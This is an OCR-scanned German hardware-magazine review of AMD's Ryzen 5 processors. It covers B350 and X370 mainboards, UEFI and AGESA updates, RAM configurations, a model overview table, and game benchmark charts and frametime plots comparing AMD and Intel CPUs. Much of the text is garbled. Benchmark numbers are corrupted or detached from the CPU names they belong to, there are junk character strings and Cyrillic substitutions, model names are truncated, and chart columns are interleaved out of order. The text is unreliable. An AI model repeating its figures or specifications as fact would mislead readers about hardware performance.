14 | AMD FX-8370 45,7% 37,6% 50,0% 28 | AMD Phen. 11 X6 1100T 34,1% 26,6% 36,7% 42 | AMD Ryzen 7 1800X 24,8% 17,1% 82,0% 
Basis: PCGH-Leistungsindex in Relation zum (bei Redaktionsschluss) aktuellen Marktpreis; im Diagramm: CPUs bis 500 Euro, Trendlinien: durchgezogene Linie = im Diagramm abgebildete Prozessoren; gestrichelt = alle Prozessoren 


übertaktbare SMT-Quadcores von 
345 Euro (für den i7-7700K) auf 210 
Euro und damit sogar um rund 40 
Prozent. Inwieweit die Preise des 
R5-1600 und R5-1400X noch darun- 
ter liegen, konnte AMD im Vorfeld 
des Launches nicht angeben. 


Sparboards mit B350 

Auch bei den Mainboards nimmt 
AMD keine so strikte Klassentren- 
nung vor wie Intel. So können Sie 
bereits mit einem ab rund 80 Euro 
erhältlichen AM4-Mainboard auf 
B350-Basis nahezu sämtliche für Hei- 
manwender essenziellen Funktio- 
nen nutzen - inklusive Übertaktung 
des RAMs und der per Multiplikator. 
BCLK-Tuning oder Referenztakt-OC 
ist vom Vorhandensein eines spezi- 
ellen Taktgebers auf dem Mainboard 
abhängig, was derzeit X370-exklu- 
siv ist. AMD gibt an, mit künftigen 
UEFI-Versionen BCLK-OC auch auf 
herkömmlich ausgestatteten Main- 
boards möglich machen zu wollen. 


www.pcgameshardware.de 


Hierbei müssen Sie jedoch mindes- 
tens auf eine angepasste UEFI-Versi- 
on hoffen. Ansonsten entgeht Ihnen 
neben einer möglicherweise be- 
lastbareren Spannungsversorgung 
die Möglichkeit, SLI und Crossfire- 
Systeme mit 8x/8x-Lane-Splitting 
zu betreiben. Auf B350-Boards sind 
höchstens 16x/4x-Paarungen mög- 
lich, werden von AMD selbst im 
Gegensatz zu manchem Mainboard- 
Hersteller aber zu Recht nicht emp- 
fohlen oder beworben. 


Im Vergleich zu den billigsten X370- 
AM4-Boards sind B350-Modelle 
über 50 Euro günstiger zu haben 
- gerade für preisbewusste Spie- 
ler ein nicht zu unterschätzender 
Faktor, zumal Sie dabei im Betrieb 
ohne Overclocking und ohne 
Multi-GPU-Systeme 
Leistung verzichten müssen, wie 
unser Diagramm auf Seite 41 zeigt. 
Allerdings bietet ein B350-Board 
durch Verzicht auf allzu opulente 


auf keinerlei 


Ryzen 5 1600X mit sechs aktiven Kernen inklusive SMT 


d ierasts ann, 


Bei den zum Test angetretenen R5-Modellen hat AMD die volle Bestückung mit L3- 
Cache gelassen — die L2- und L1-Zwischenspeicher sind mit den Kernen deaktiviert. 
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Ausstattung durchaus die Möglich- 
keit, das eine oder andere Watt zu 
sparen. Unser Effizienzindex wurde 
beim Vergleich von B350 und X370 
dann auch stärker beeinflusst als der 
Leistungsindex, er stieg beim Ryzen 
5 1600X von 80,9 auf glatte 83 Pro- 
zent. Aus Gründen der Vergleichbar- 
keit verwenden wir allerdings auch 
weiter das X370-Board, da auch bei 
allen Vergleichssystemen von AMD 
wie Intel ähnlich gut ausgestattete 


Oberklasse-Mainboards zum Einsatz 
kommen. Zudem bleiben die Bench- 
marks damit vergleichbar - die Wer- 
te der Ryzen-7-CPUs haben wir ent- 
sprechend aktualisiert, viel getan 
hat sich im Standardbetrieb jedoch 
nicht. Die größten Abweichungen 
ergaben sich bei Starcraft 2 LotV 
und im Komprimierungsprogramm 
7-Zip, wofür aber weniger der B350, 
sondern eher neue UEFI-Versionen 
verantwortlich sind. 


ne Ee: 


Se OMO: I S 


Die Ryzen-Mittelklasse wird als Boxed-Version mit den inzwischen bekannten Wraith- 
Kühlern sowie einer Herstellergarantie von drei Jahren ausgeliefert. 


Neue UEFIs 

Zum Launch waren Ryzen-Systeme 
gelinde gesagt etwas schwierig. 
Auch im Vorfeld der Ryzen-5-Vor- 
stellung erreichten uns diverse 
neue UEFI-Versionen. Für die opti- 
male Performance empfiehlt AMD 
inzwischen ein АСЕЅА-1.0.0.4- 
basierendes UEFI - wie das 1102er 
für unser Asus Crosshair VI Hero, 
welches laut Aussage von Asus zur 
Veróffentlichung eine hóhere Ver- 
sionnummer erhalten wird. 


AGESA steht für AMD Generic 
Encapsulated Software Architecture 
und wird unter anderem als Boot- 
strap zur Initialisierung etwa der 
CPU oder des Speichers genutzt. 
Damit beeinflusst es die Móglich- 
keiten, welche die UEFI-Versionen 
der Mainboard-Hersteller anbieten 
können. Mit Version 1.0.0.4 hat 
AMD unter anderem die Kompatibi- 
lität und die erreichbare Geschwin- 
digkeit beim Speicher erhóht, die 
Speicherlatenz senken kónnen (sie- 
he Tabelle auf Seite 42) und einen 
Bug behoben, der bei Nutzung der 
FMA3-Instruktion zum Absturz füh- 
ren konnte. Sollten Sie ein Ryzen- 
System anschaffen wollen oder 


bereits eines besitzen, lohnt es sich 
daher auf alle Fälle, die Situation bei 
den UEFI-Updates im Auge zu behal- 
ten. Einige Hersteller haben schon 
vor AMDs Stichtag (11. April) mit 
der Veröffentlichung entsprechen- 
der UEFIs begonnen. 


Die Wahl des RAM 

Selten war die Auswahl des opti- 
malen Speichers so komplex wie 
bei Ryzen. Offiziell unterstützt 
AMD - wie auch der vorliegende 
Reviewer’s Guide für Ryzen 5 be- 
stätigt - folgende Bestückungs- 
optionen: 


1 2x DDR4-2667 (Single-Rank-Aufbau) 
12x DDR4-2400 (Dual-Rank-Aufbau) 
1 4x DDR4-2133 (Single-Rank-Aufbau) 
I 4x DDR4-1866 (Dual-Rank-Aufbau) 


Da AMD selbst uns nicht genau ver- 
raten konnte, welche Bestückung 
optimal ist, haben wir auch den 
Ryzen 5 in beiden Varianten sowie 
mit übertaktetem Single-Rank-RAM 
durch unseren kompletten Parcours 
gescheucht, aussagekräftige 
Mittelwerte womöglich anstelle ein- 
zelner Ausreißer zu erhalten. Das 


um 


Ergebnis zeigen die Diagramme 


Action-Adventure: Assassin's Creed Syndicate 


Rollenspiel: The Witcher 3 


,Bishopsgate" (720p, kein AA/AF/min. Post-Processing) 


„Hierarch Square" (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 


Intel Core i7-6900K (3,2+ GH 


Intel Core i7-6800K (3,44- GH 


Intel Core i7-5820K (3,3+ GH 


AMD Ryzen 7 1800X (3,6+ GH 
AMD Ryzen 5 1600X (3,6+ GH 
AMD Ryzen 7 1700X (3,4+ GH 
AMD Ryzen 7 1700 (3,0+ GH 
Intel Core i7-3770K (3,5+ G 
Intel Core i5-7600K (3,8-- G 
Intel Core i5-5675C (3,1+ G 
Intel Core i5-7500 (3,4+ G 
AMD Ryzen 5 1500X (3,5+ G 
Intel Core i5-4690K (3,5-- G 
Intel Core i7-2600K (3,4-- G 
Intel Core i5-3570K (3,4+ G 
AMD FX-9590 (4,74- GH 

Intel Pentium G4560 (3,5 G 
AMD FX-8300 (3,3+ GH 

Intel Core i5-2500K (3,3+ G 
AMD FX-6350 (3,9+ GH 

AMD Ph. Il X6 1100T (3,3+ G 
AMD Ph. Il X4 955BE (3,2 G 
Intel Core 2 Q6600 (2,4 G 


z- 8016 


Intel Core i7-7700K (4,2+ GHz — 4c/8 


z- 6/12 


Intel Core i7-5775C (3,34- GHz - 4c/8 


z- 6/12 


Intel Core i7-4790K (4,0+ GHz – 4c/8 


z- 8016 
z- 6/12 
z- 8016 
z- 8016 
Hz - 4с/8 
Hz – 4c/41 
Hz - Ac/4! 
Hz – 4c/41 
Hz - 4с/8 
Hz – Ac/4! 
Hz - 4с/8 
Hz – Ac/4! 
z - 4m/8 
Hz - 2c/41 
z - 4m/8 
Hz – Ac/4! 
z - 3m/6 
Hz — 6c/6 
Hz - Ac/4! 
Hz - Ac/4! 


Ns! 135,9 («60 96) 
НЕСІ 131,2 (+55 90) 
Np 130,0 (+53 96) 
pag 127,3 (4-50 %) 
НИШИ 122,0 (+44 90) 
Eos 110,0 (+30 96) 
ИНИНИ 109,9 (+29 90) 
pug 106,8 (+26 96) 
9g 106,1 (+25 %) 
ННН 1044 (+23 90) 
Kwa 100,2 (+18 96) 
Kw 97 (+17 %) 
НЕЧ 955 (+16 %) 
E 94,4 (+11 90) 
pgs 93,8 (+10 %) 
pin 85,0 (+0 %) 
84,9 (Basis) 
a 82,1 (-3 %) 
E £12 (4 %) 
Gw 70,9 (-16 %) 
70,9 (-16 %) 
Kwasi 70,2 (-17 %) 
Fee 67 6 (-20 90) 
56,5 (33 %) 

mali 47,1 (-45 %) 

ES] 28,7 (-66 %) 


In 


AM 


AM 
AM 


el Core i7-6900K (3,2+ GHz - 8c/16 


Intel Core i7-5775C (3,3+ GHz – 4c/8 
Intel Core i7-7700K (4,2+ GHz — 4c/8 


el Core i7-6800K (3,4+ GHz – 67/12 
el Core i7-5820K (3,3+ GHz — 6c/12 
D Ryzen 7 1800X (3,6+ GHz — 8c/16 


Intel Core i7-4790K (4,0+ GHz — 4c/8 


D Ryzen 7 1700X (3,4+ GHz - 8c/16 


D Ryzen 5 1600X (3,6+ GHz - 6с/12: 


AMD Ryzen 7 1700 (3,0+ GHz — 8c/16 
Intel Core i7-3770K (3,5+ GHz - 4c/8 
Intel Core i5-7600K (3,8+ GHz - 4c/4 

AMD Ryzen 5 1500X (3,5+ GHz — 4c/8i 
Intel Core i5-5675C (3,1+ GHz – 4c/4 


Intel Core i5-7500 (3,4+ GHz – 4c/4 


Intel Core i7-2600K (3,4+ GHz - 4c/8 


AMD FX-9590 (4,7+ GHz – 4m/8| 


Intel Core i5-4690K (3,5+ GHz — 4c/4 
Intel Core i5-3570K (3,4+ GHz - 4c/4 


AMD FX-8300 (3,3+ GHz – 4m/8! 


Intel Pentium G4560 (3,5 GHz – 2c/4t 
Intel Core i5-2500K (3,3+ GHz - 4c/4 


AMD FX-6350 (3,9+ GHz — 3т/6! 


AMD Ph. Il X6 1100T (3,3+ GHz — 6c/6 
AMD Ph. Il X4 955BE (3,2 GHz - 4c/4 


Intel Core 2 06600 (2,4 GHz - 4c/4 


) Emi 134,7 (+60 %) 
) Ens) 131,1 (+56 %) 
) mili 125,5 (+49 %) 
) 0988 118,3 (+40 96) 

) ss  wslli 115,0 (+36 96) 

) FE 109,9 (30 %) 

) Egg 104,6 (4-24 %) 

) E 104,6 (4-24 %) 

) 104,0 (+23 %) 

) Eg 101,6 (+21 96) 

) Egg 95,1 (+13 90) 

) BB 94,5 (+12 %) 

) ВИННИ 93,4 (+11 %) 

) E 91,5 (+9 %) 

) НЕЗ 89,1 (+6 %) 

) wl 84,3 (Basis) 

) Eget 81,0 (-4 %) 

) RN 79,9 (-5 %) 

) Twi 75,7 (-10 96) 

) Tl 70,5 (-16 9b) 

) pedi E 65,4 (-22 %) 

) sz 3,2 (-25 %) 

) En 62,3 (-26 %) 

) magi] 49,3 (-42 %) 

) Egan 38,7 (-54 %) 


) КЕШЕШ 25,3 (-70 96) 


64 Bit Bemerkungen: Alle Spie 


System: Intel X99, 2170/297/777, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
e-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mimil 2 Fps 


> Besser 


System: Intel X99, 2170/797/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Мі Ø Fps 


» Besser 
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AMDs Ryzen-Modelle in der Übersicht 


Reihe | Modell | Sockel ... | Freier Multi- Kerne Basis- Turbo Turbo XFR SC- Level-3- TDP Preis 
plikator (phys./log.) Takt (Allcore) (Max)* Turbo+ ... Cache 
R7 800X AMA a 8/16 3,6 GHz 3,7 GHz 4,0 GHz +100 MHz 16 MiB 95 Watt 499 US-$ 560 EUR 
R7 700X AMA a 8/16 3,4 GHz 3,5 GHz 3,8 GHz +100 MHz 16 MiB 95 Watt 399 US-$ | 440 EUR 
R7 1700 AMA a 8/16 3,0 GHz 3,2 GHz 3,75 GHz +50 MHz 16 MiB 65 Watt 329 US-$ | 360 EUR 
R5 600X AMA a 6/12 3,6 GHz 3,7 GHz 4,0 GHz +100 MHz 16 MiB 95 Watt 249 US-$ | 280 EUR 
R5 1600 AMA a 6/12 3,2 GHz K. A. 3,6 GHz K. A. 16 MiB 65 Watt 219 US-$ ? 
R5 500X AMA a 4/8 3,5 GHz 3,6 GHz 3,7 GHz +200 MHz 16 MiB 65 Watt 189 US-$ | 210 EUR 
R5 400X AMA a 4/8 3,2 GHz K. A. 3,4 GHz K. A. 8 MiB 65 Watt 169 US-$ ? 
Basierend auf Gerüchten (geplant für zweites Halbjahr 2017): 
R3 200X AMA K. A. 4/4 3,4 GHz K. A. 3,8 GHz K. A. k.A. 65 Watt K.A. K.A. 
R3 1200 AM4 K.A. 4/4 3,1 GHz K.A. K.A. K.A. k.A. 65 Watt K.A. K.A. 
R3 1100 AM4 K.A. 4/4 3,2 GHz K.A. 3,5 GHz K.A. k.A. 65 Watt K.A. K.A. 
R3 1200 AM4 K.A. 4/4 3,1 GHz K.A. K.A. K.A. 65 Watt 2. Hàlfte 2017 K.A. K.A. 
R3 1100 AM4 K.A. 4/4 3,2 GHz K.A. 3,5 GHz K.A. 65 Watt 2. Hàlfte 2017 K.A. K.A. 


auf Seite 41: Von den offiziell unter- 
stützten Varianten ist die nominell 
langsamere DDR4-2400-Bestückung 
aufgrund ihrer Dual-Rank-Bauweise 
in der Praxis einen Hauch flot- 
ter. Im Overclocking-Betrieb mit 
DDR4-3200 ist gar das von AMD be- 
reitgestellte Single-Rank-Kit (GEIL 
GEX416GB3200C16ADC) wegen 
notgedrungen langsamerer Ti- 
mings dem ebenfalls übertakteten 
Dual-Rank-Speicher bei DDR4-2667 


Spiele-Benchmarks und abermals 
im Komprimierungsprogramm 
7-Zip. Die Effizienz leidet überdies, 
da an stabilen Betrieb mit DDR4- 
Standard-Spannung von 1,2 Volt 
natürlich nicht zu denken ist und 
die Speicherspannung über den De- 
facto-OC-Standard von 1,35 auf 1,39 
Volt angehoben werden muss. Auch 
die SoC-Voltage haben wir, wie von 
AMD empfohlen, zugunsten eines 
stabileren Betriebs bei DDR4-3200 


Spiele- und Anwendungs- 
optimierungen 

Es wurde bereits viel diskutiert, 
inwiefern aktuelle oder gar ältere 
Spiele und Programme überhaupt 
einen repräsentativen Leistungs- 
überblick über Ryzen geben könn- 
ten. Auf jeden Fall zeigen sie den 
Ist-Zustand, mit dem Ryzen aktuell 
klarkommen muss. Was noch mög- 
lich ist, zeigen die vereinzelt auftau- 
chenden, bereits Ryzen-optimierten 


Mathematik-Programm y-Cruncher 
ab Version 0.7.2.9468, die wir be- 
reits in der vorigen Heftausgabe mit 
aufgeführt haben. 


Inzwischen sind in Form von Ashes 
ofthe Singularity: Escalation und To- 
tal War: Warhammer auch zwei Spie- 
le unter Berücksichtigung von Ry- 
zen aktualisiert worden, mit deren 
Entwicklern AMD eng zusammenar- 
beitet. Im Falle von Warhammer soll 


unterlegen, speziell 


in unseren 


auf 1,1 Volt erhöht. 


Versionen. Den Anfang machte das 


der Leistungs-Zuwachs bei rund 10 


Multithread-Rennspiel F1 2015 


Dragon Age: Inquisition mit EAs Frostbite-Engine 


Intel Core i7-6900K (3,2+ GHz - 8c/16t) 
Intel Core i7-6800K (3,4+ GHz - 6c/12t 
Intel Core i7-5820K (3,3+ GHz — 6c/12t 
Intel Core i7-5775C (3,3+ GHz – 4c/8t 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) 
AMD Ryzen 7 1700X (3,4+ GHz – 8c/16t) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) 
Intel Core i7-7700K (4,2+ GHz — 4c/8t) 
AMD Ryzen 5 1500X (3,5+ GHz — 4с/81) 
Intel Core i7-4790K (4,0+ GHz — 4с/8ї 
Intel Core i7-3770K (3,5+ GHz — 4c/8t) 

( 

( 


Intel Core i5-7600K (3,8+ GHz — 4c/4t 
Intel Core i5-5675C (3,1+ GHz – 4c/4t) 
Intel Core i5-7500 (3,4+ GHz – Ac/At) 
AMD FX-9590 (4,7+ GHz — 4m/8t) 
Intel Core i7-2600K (3,4+ GHz — 4с/8ї 
Intel Core i5-4690K (3,5-- GHz — 4c/4t) 
AMD ЕХ-8300 (3,3+ GHz — 4m/8t 
Intel Core i5-3570K (3,4+ GHz – 4c/4t 
Intel Pentium G4560 (3,5 GHz — 2c/4t 
AMD FX-6350 (3,9+ GHz — 3m/6t 
Intel Core i5-2500K (3,3+ GHz — 4с/4ї 
AMD Ph. II X6 1100T (3,3+ GHz — 6c/6t) 
AMD Ph. II X4 955BE (3,2 GHz – 4c/4t 
ntel Core 2 06600 (2,4 GHz - 4c/4t) 


„Stormy Spain" (720p, kein AA/AF/min. Post-Processing) 


Egg s 123,6 («126 96) 
ENS qu 104,3 («91 90) 
G= SSES 102,3 (+87 %) 
NNUS 94,5 (+73 96) 
emu 92,7 (+70 96) 
petu 91,0 (+67 %) 
pus pex 88,6 (+62 96) 
pa 38,6 (+62 96) 
pan ps 88,6 (+62 96) 
pen Eu 76,8 (+41 96) 
Kw 71,2 («30 90) 
psu 68,6 (+26 %) 
55 68,1 (+25 90) 
65,0 (+19 96) 
64,7 (+18 %) 
61,3 (+12 %) 
54,6 (Basis) 
Eg 54,1 (-1 %) 
54,0 (-1 %) 

ШИШИШИ 51 6 (-5 %) 

WCWISIZ IU@H,IOISSI ШШ 48,2 (-12 %) 

ШИШИ 44,2 (-19 %) 

ВНЕ 41,6 (-24 %) 

EU 28,9 (-47 %) 

ШШЕ 19,4 (-64 %) 

ЕШ 14,8 (-73 %) 


Intel Core i7-5775C (3,3+ GHz – 4c/8t 
Intel Core i7-7700K (4,2+ GHz - 4c/8t 
Intel Core i7-6900K (3,2+ GHz — 8c/16t 
Intel Core i7-6800K (3,4+ GHz - 6c/12t 
Intel Core i7-5820K (3,3+ GHz — 6c/12t 
AMD Ryzen 5 1600X (3,6+ GHz - 6c/12t 
Intel Core i7-4790K (4,0+ GHz — Ac/8t) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) 
Intel Core i5-7600K (3,8+ GHz — 4c/4t 
AMD Ryzen 7 1700X (3,4+ GHz - 8c/16t) 
Intel Core i5-5675C (3,1+ GHz — 4c/4t 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) 
Intel Core 15-7500 (3,4+ GHz – 4с/41) 
ntel Core i7-3770K (3,5+ GHz - 4c/8t 
AMD Ryzen 5 1500X (3,5+ GHz - 4c/8t 
ntel Core i7-2600K (3,4+ GHz - 4c/8t 
ntel Core i5-3570K (3,4+ GHz – 4c/4t) 
ntel Core i5-4690K (3,5+ GHz – 4c/4t 
AMD FX-9590 (4,7+ GHz — 4m/8t) 
Intel Pentium G4560 (3,5 GHz - 2c/4t 
ntel Core i5-2500K (3,3+ GHz – 4c/4t) 
AMD FX-6350 (3,9+ GHz — 3m/6t) 
AMD FX-8300 (3,3+ GHz — 4m/8t) 
AMD Ph. II X6 1100T (3,3+ GHz — 6c/6t 
AMD Ph. II X4 955ВЕ (3,2 GHz — 4c/4t 
Intel Core 2 06600 (2,4 GHz - 4c/4t) 


,Hinterlands" (720p, kein AA/AF/min. Post-Processing) 


EM 138,9 (+56 90) 
NNNM 137,7 (+54 %) 
NM 135,6 (+52 90) 
Wozu 131,0 (+47 %) 
Fo ШЕЕ 128,6 («44 %) 
Gw 113.4 («27 %) 
Egg mu 112,8 (+26 %) 
ИННИИ 1124 (+26 90) 
ННН: 111,2 (+25 90) 
Egg 109,0 (+22 96) 
ENS 108,2 («21 96) 
BE 104,3 (+17 96) 
BE 103,4 (+16 %) 
ENS 102,7 (+15 %) 
penu 100,0 (+12 %) 
=6ú=—s ИШЕ 89,3 (Basis) 
pg ЕШ 86,1 (-4 %) 
pg ЕЕЕ 85,4 (-4 %) 
Forge 80,6 (-10 96) 
E 76.3 (-15 %) 
E 73,1 (-18 %) 
ПЕЛИ 67,4 (-25 %) 

ESSI 65,4 (-27 96) 

pn 56,9 (-36 90) 

ES 40,9 (-54 9) 

ЮИ 25,7 (-71 %) 


System: Intel X99, 2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti & 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mimil Ø Fps 


» Besser 


System: Intel X99, 7170/797/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mimil @ Fps 


» Besser 
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Prozent liegen. AotSE haben wir uns 
selbst angesehen und sowohl im 
integrierten CPU-Benchmark wie 
auch per Savegame-Messung eine 
Steigerung von rund 11 Prozent er- 
mittelt. Der GPUC!)-Benchmark legt 
hingegen mit +22 Prozent deutlich 
stärker zu. Aufgrund von nicht ab- 
schaltbaren Extra-Details für Mehr- 
kerner (siehe http://www.pcgh.de/ 
AotSE) sind Savegame-Messungen 


und -Vergleiche zwischen verschie- 
denen CPU-Klassen sinnlos, wes- 
wegen wir unsere Ergebnisse hier 
nicht abdrucken. 


Diesen drei Fälle zu Folge steckt 
auch mit aktuellem UEFI, schnellem 
RAM & Co. noch ungenutztes Leis- 
tungspotezial in Ryzen. Doch die 
Frage, wie viele (Spiele-)Entwickler 
sich künftig neben den allgegen- 


wärtigen Intel-CPUs auch auf den 
kleineren AMD-Kuchen 
und speziell für diese optimieren, 
ist offen. Eine größer werdende 


stürzen 


Verbreitung, sprich ein steigender 
Marktanteil für AMD, wäre dabei 
auf jeden Fall hilfreich, denn auch 
Spiele- und Software-Entwicklung 
sind ein knallhartes Geschäft, bei 
dem Kosten und Nutzen scharf ab- 
gewogen werden. 


Potenziale und Bremsen - 
nicht nur für Ryzen 5 

Intel selbst hat mit dem aktuellen 
Pentium G eine mögliche Optimie- 
rungs-Stolperfalle für Ryzen etwas 
entschärft: AVX2-Instruktionen, 
welche potenziell die veralteten 
SSE1-SSE4-Optimierungen bei höhe- 
rer Performance ablösen könnten, 
laufen auf Ryzen-Prozessoren nur 
mit halbem Durchsatz im Vergleich 


AMD Quadcore mit SMT: Die Frametimes — niedriger ist besser! — liegen zwar etwas höher, aber auch dank SMT deutlich dichter beisammen als beim Core i5-7600K. 


Assassin's Creed Syndicate: Frametimes mit Ryzen 5 1500X und Titan X (Pascal) 


Dragon Age Inquisition: Frametimes mit Ryzen 5 1500X und Titan X (Pascal) 


an FRAFS Bench Viewer Notes: pen FRAFS Bench Viewer Notes: 
n3 - Dien 
Statistics (entire file) 1.920х1.080 Statistics (entire file) 1920x1080 
Амд. бте: 108 (93 FPS) PCGH-CPU-Benchmark Avg. time: (96 FPS) PCGH-CPU-Benchmark 
1% time; мл (70 Fps) Assassin's Creed Symdicste (DX11) 1% time: 188 (53FPS) Dragon Age Inquisition (DX11) 
0.1% time: 15,9 (63 FP5) AMD Ryzen 5 1500X 0.19% time: 24,1 (41 5) АМО Ryzcn 5 1500X 
18 K frames: (0 - 1857) Titan X (Pascal) 1,9 K frames: (0- 1918) Titan X (Pascal) 


ез 


RR: 


m 2 =: 


me 


аз 


Wen FRAFS Bench Viewer Notes: ош FRAFS Bench Viewer Notes: 
ET 
Statistics (entire file) 1.920x 1080 2 Statistics (entire file) 1320x1080 75 
Амд. бте: 943 (106 IPS) PCGH-CPU-Benchmark. Ама. бте: — 926 (108 PS) PCGH-CPU-Bencheark 
1% time; 123 (81FPS) Assassin's Creed Symdicate (DX11) 1% time: 169 (59 res) Dragon Age Inquisition (DX11) 
0.19% time: 13,5 (74 5) AMD Ryzen 5 1600X Ais time: 226 (44ҥ5) AND Ryzen 5 1600X 
200 алк frames: (0- 2117) Titan X (Pascal) get ал K frames: (0 - 2156) Titan X (Pascal) 
"S 
u um 
im 


pun FRAFS Bench Viewer Notes: pm FRAFS Bench Viewer Notes: 
n3 — 953m 
Statistics (entire file) 1.920x1.080 @ 1.920х1080 
Avg. time: (96 FPS) PCGH-CPU-Denchmark Амд. бте: 9,36 (107 FPS} rk 
1% time: 150 (67 FPS) Assassin's Creed Syndicate (DX11) 1% time; 193 (52 FPS) Age Inquisition (DX11) 
0.1% time: 16,3 (61 FP5) Core б 7600K Dim time: 314 (32 РР5) Core i5 7600K 
1,9 K frames: (0 - 1907) Titan X (Pascal) 21K frames: (0- 2134) 


m 


ез 


m 


че 
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jetzt am Kiosk für nur € 5,99. 


Im Webshop erhalten Abonnenten 
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Erháltlich auch als Digitalversion 
(PDF oder App) für nur € 4,99. 
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Vollversion auf Heft-CD 


Ashampoo- 
WinOptimizer 


Plus: Die wichtigsten 
Treiber & Tools 
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PROZESSOREN | AMD Ryzen 5 


Multithread-Shooter: Crysis 3 


„Fields” (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-6950X (3,0+ GHz - 10c/20t) [Xs 03,2 (+90 96) 
Intel Core i7-6900K (3,2-- GHz – 8с/161) ua ar] 176,9 (+74 96) 
Intel Core i7-5960X (3,0-- GHz — 8с/161) [Xa ШЕШ 164,4 (4-62 %) 

Intel Core i7-5930K (3,5+ GHz — 6c/12t) ШЗ 154,2 (+52 96) 
Intel Core i7-6800K (3,4+ GHz — 61222 KGCP E Ki 154,1 (452 96) 

AMD Ryzen 7 1800X (3,6+ GHz – 8c/16t) EX 149,5 (+47 %) 
Intel Core i7-5820K (3,3+ GHz — 6c/12t) ШЗ ЕШ 149,0 (+47 96) 

AMD Ryzen 7 1700X (3,4+ GHz – 8c/16t) ag 145,6 (+43 %) 

Intel Core i7-7700K (4,2+ GHz – 4с/81) ua w 8 144,3 (+42 96) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) apu gil 142,0 (+40 96) 
AMD Ryzen 7 1700 (3,0+ GHz - 8c/16 
Intel Core i7-6700K (4,0+ GHz — 4c/8 
Intel Core i7-4960X (3,6+ GHz — 6c/12 
Intel Core i7-3960X (3,3+ GHz — 6с/12 
Intel Core i7-5775C (3,34- GHz - 4c/8 
Intel Core i7-4790K (4,0+ GHz – 4c/8 
Intel Core i7-4770K (3,5+ GHz – 4c/8 
Intel Core i7-990X (3,46+ GHz — 6c/12 

Intel Xeon E3-1230 v5 (4,0+ GHz – 4c/8 

AMD Ryzen 5 1500X (3,5+ GHz — 4с/8 
Intel Core i7-4820K (3,7+ GHz — 4c/8 
Intel Core i7-3770K (3,5+ GHz – 4c/8 
Intel Core i5-7600K (3,8+ GHz — 4c/4t 

AMD FX-9590 (4,7+ GHz — 4m/8 


) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) EU 123,5 (+27 90) 

) EX ES 128,5 (+27 96) 

) ВИНИ 119,3 (+18 96) 

ВОЈ 119,2 (-17 96) 

СОЈ 117,5 (+16 96) 

) ВИНО 104,3 (+3 96) 

) ESRIIƏITIÇ—GIIFTFTFGII£IIIƏIssƏIŠIIDIU,III IIhI) 

) Ee Ex 101,6 (+0 96 

) ESERIICIWInaIIh+MIIIZIOL, (Basis) 

) ESGEIOƏICCI 057 (6 96) 
Intel Core i5-5675C (3,1+ GHz – 4c/4t) MEEA 94,6 (-7 96 

Intel Core 15-7500 (3,4+ GHz – 4с/41) Xs 94,3 (-7 96) 

Intel Core i7-2600K (3,4+ GHz – 4c/8t) er 92,3 (-9 %) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 

) 


Intel Core i5-4690K (3,5+ GHz - 4c/4t) Ege 90,1 (-11 96 
Intel Core i5-6600K (3,4+ GHz – 4c/8t) Ems 89,2 (-12 96 
Intel Core i5-4670K (3,4+ GHz – 4c/4t) Xe 88,6 (-13 96) 
AMD FX-8370 (4,0+ GHz – Am/8t) Xa 88,3 (-13 96) 

C 

C 


AMD FX-8350 (4,0+ GHz — 4т/81) ET 88,0 (-13 96 
БЕТЕ 
po 82,9 (-18 %) 
peg [x 80,3 (-21 %) 
ЮЕ 77,8 (-23 %) 
KVWIOIIIZGIII€IGIFIF IƏIƏIOIƏ@GWTSSH!|C€III 
о ЕД 


Intel Core 15-7400 (3,0+ GHz - 4c/4 
Intel Core 15-6500 (3,2+ GHz - 4c/4 
Intel Core i5-3570K (3,4+ GHz - 4c/4t 
Intel Core i3-7350K (4,2 GHz - 2c/4 
AMD FX-8300 (3,34- GHz - 4m/8 

AMD FX-8320E (3,2+ GHz – 4m/8 
AMD FX-6350 (3,9+ GHz – 3m/6 

Intel Core i5-2500K (3,3+ GHz — 4c/4t 
Intel Core i3-6100 (3,7 GHz - 2c/4 
AMD Phen. Il X6 1100T (3,3+ GHz - 6с/6 
Intel Pentium G4560 (3,5 GHz - 2c/4 
AMD FX-6300 (3,54- GHz — 3m/6 

AMD Athlon ХА 845 (3,5+ GHz — 2т/4 


(-29 90) 
El 71,4 (-30 %) 
ВЭЭ 70,7 (-30 %) 
Fee 69,5 (32 %) 
El 67,2 (-34 %) 
ESSA 65,5 (-35 %) 
N 64,7 (36 %) 
ammi 48,4 (-52 %) 
EH 48,2 (-53 %) 
BE 47,3 (-53 96) 
ES] 46,6 (-54 %) 
ШВ 44,3 (-56 96) 
BES 43,8 (-57 96) 
EI] 43,0 (-58 %) 


( 
AMD A10-7870K (3,9+ GHz — 2m/4 
AMD A10-6800K (4,1+ GHz – 2m/4 
